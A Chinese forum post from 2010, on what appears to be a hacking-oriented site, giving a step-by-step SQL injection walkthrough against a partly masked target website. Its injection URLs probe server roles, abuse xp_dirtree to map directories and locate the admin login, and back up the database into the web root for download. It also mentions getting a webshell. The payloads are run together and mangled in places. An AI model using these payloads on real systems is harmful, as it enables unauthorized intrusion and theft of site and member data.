E网络
Would you like to react to this message? Create an account in a few clicks or log in to continue.
登录

找回我的密码

最新主题
» 笔记本密码破解
SQL注入 Empty周日 二月 14, 2010 6:26 pm 由 Admin

» 如何辨别笔记本是水货
SQL注入 Empty周日 二月 14, 2010 6:21 pm 由 Admin

» GHOST使用教程
SQL注入 Empty周日 一月 31, 2010 4:42 pm 由 Admin

» 用你的脸当开机密码
SQL注入 Empty周日 一月 31, 2010 4:30 pm 由 Admin

» 让指定的QQ号码无法登录
SQL注入 Empty周日 一月 31, 2010 4:26 pm 由 Admin

» 30秒破解所有密码
SQL注入 Empty周日 一月 31, 2010 4:20 pm 由 Admin

» 做一个成功男人的要领
SQL注入 Empty周五 一月 22, 2010 11:09 pm 由 Admin

» 漂亮的视频妹妹
SQL注入 Empty周五 一月 22, 2010 11:05 pm 由 Admin

» 窈窕清纯小美眉
SQL注入 Empty周五 一月 22, 2010 11:02 pm 由 Admin

友情链接



小莫软件站

SQL注入

向下

SQL注入 Empty SQL注入

帖子  Admin 周四 一月 21, 2010 4:33 am

SQL注入以独特、新奇、变异的语句迎来了技术又一大突破,当然要针对奇、特这两方面作文章,要达到一出奇招,必达核心!那才是SQL注入技术的根本所在.长期以来,MSSQL以它强大的存储进程给我们带来了极大的方便,而如今注入技术主要依靠IIS出错与MSSQL系统提示信息来判断,那利用SELECT构造特殊语句,使系统出错来得到我们要的更深入的信息,如爆库、爆表等,能不能取得详细信息呢?答案是能,但必出奇招!下面我们一步步来拆解奇招!

  首先打开MSSQL查询分析器,输入:

  xp_dirtree适用权限PUBLIC

  语句:execmaster.dbo.xp_dirtree'c:\'

  返回的信息有两个字段subdirectory、depth.Subdirectory字段是字符型,depth字段是整形字段.想到了什么?别急,我们继续!

  语句:createtabledirs(pathsvarchar(100),idint)

  作用:建表的语句,大家都熟悉吧?但这里建的表起到关键的作用!也就是和上面xp_dirtree相关连,字段相等、类型相同,为我们下一步操作作下铺垫.再来,谜底就要揭晓!

  语句:insertdir***ecmaster.dbo.xp_dirtree'c:\'

  作用:大家觉得奇怪吧?INSERT语句这样是不是有问题呢?NO!原理是只要我们建表与存储进程返回的字段相定义相等就能够执行!与常规INSERTTABLE(COLOUMN)VALUES(VALUES)差别就是在此,VALUES值我们无法放置存储进程,利用简写:insertdir***ecmaster.dbo.xp_dirtree'c:\',而达到写表的效果——既然可以写表,那我们就可利用未公开存储进程来一步步达到我们想要的信息!

  上面的东西大家明白了吗?不明白没关系,过招在于实战,实践胜于理论,那我们就来过过招!实际看下!以下用一个网站作为基点作测试,注意:以下测试的权限非SA权限!

  语句:http://www.***xx.com/down/list.asp?id=1'

  返回:MicrosoftOLEDBProviderforSQLServer错误'80040e14'

  字符串''之前有未闭合的引号.

  /down/list.asp,行21

  测试权限结构:

  语句1:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--

  语句2:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('serveradmin'));--

  语句3:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('setupadmin'));--

  语句4:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--

  语句5:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--

  语句6:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('diskadmin'));--

  语句7:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--

  语句8:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--

  语句9:http://www.***xx.com/down/list.asp?id=1and1=(SELECTIS_MEMBER('db_owner'));--

  通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,以前黑防讲得很清楚,大家可以翻看臭要饭的《跨库查询你想怎么玩》,现在我们得到管理员的表和管理表资料,进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录.

  手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!

  语句:http://http://www.***xx.com/down/list.asp?id=1;createtabledirs(pathsvarchar(100),idint)--

  返回:正常的信息!说明建表成功!继续!

  语句:http://http://www.***xx.com/down/list.asp?id=1;insertdir***ecmaster.dbo.xp_dirtree'c:\'--

  返回:正常信息.说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来.

  语句:http://http://www.***xx.com/down/list.asp?id=1and0<>(selecttop1pathsfromdirs)-

  返回:MicrosoftOLEDBProviderforSQLServer错误'80040e07'

  将varchar值'@Inetpub'转换为数据类型为int的列时发生语法错误.

  再依次爆出表中的目录名称!

  语句:http://http://www.***xx.com/down/list.asp?id=1and0<>(selecttop1pathsfromdirswherepathsnotin('@Inetpub'))--

  最后用同样的方法测试得到网页目录放在E:\WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL.监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:""提供

  语句:http://http://www.***xx.com/down/list.asp?id=1;createtabledirs1(pathsvarchar(100),idint)--

  语句:http://http://www.***xx.com/down/list.asp?id=1;insertdir***ecmaster.dbo.xp_dirtree'e:\web'--

  语句:http://http://www.***xx.com/down/list.asp?id=1and0<>(selecttop1pathsfromdirs1)--

  经过反覆的爆字段,最后爆到一个***adminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:

  语句:http://http://www.***xx.com/down/***adminlogin/

  显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……

  XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树.针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方.

  再来说说写入ASP通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法.写入使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!

  ""提供

  语句:http://http://www.***xx.com/down/list.asp?id=1;declare@asysname;set@a=db_name();backupdatabase@atodisk='e:\web\down.bak';--

  去下载吧!亲爱的朋友们!嘿嘿.

  本文介绍是一种变异写表方法,没有多少技术含量,只是给大家提供一种构造语句的思路.本文针对网站连接权限不是数据库服务器角色组的成员,能为注入所利用的内置扩展存储进程并不多,扩展的存储进程涉及权限比较高的用户才能访问,所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的,你注意到了吗?

Admin
Admin
Admin

帖子数 : 112
威望 : 0
注册日期 : 10-01-16

http://e-wl.123ubb.com

返回页首 向下

返回页首


 
您在这个论坛的权限:
不能在这个论坛回复主题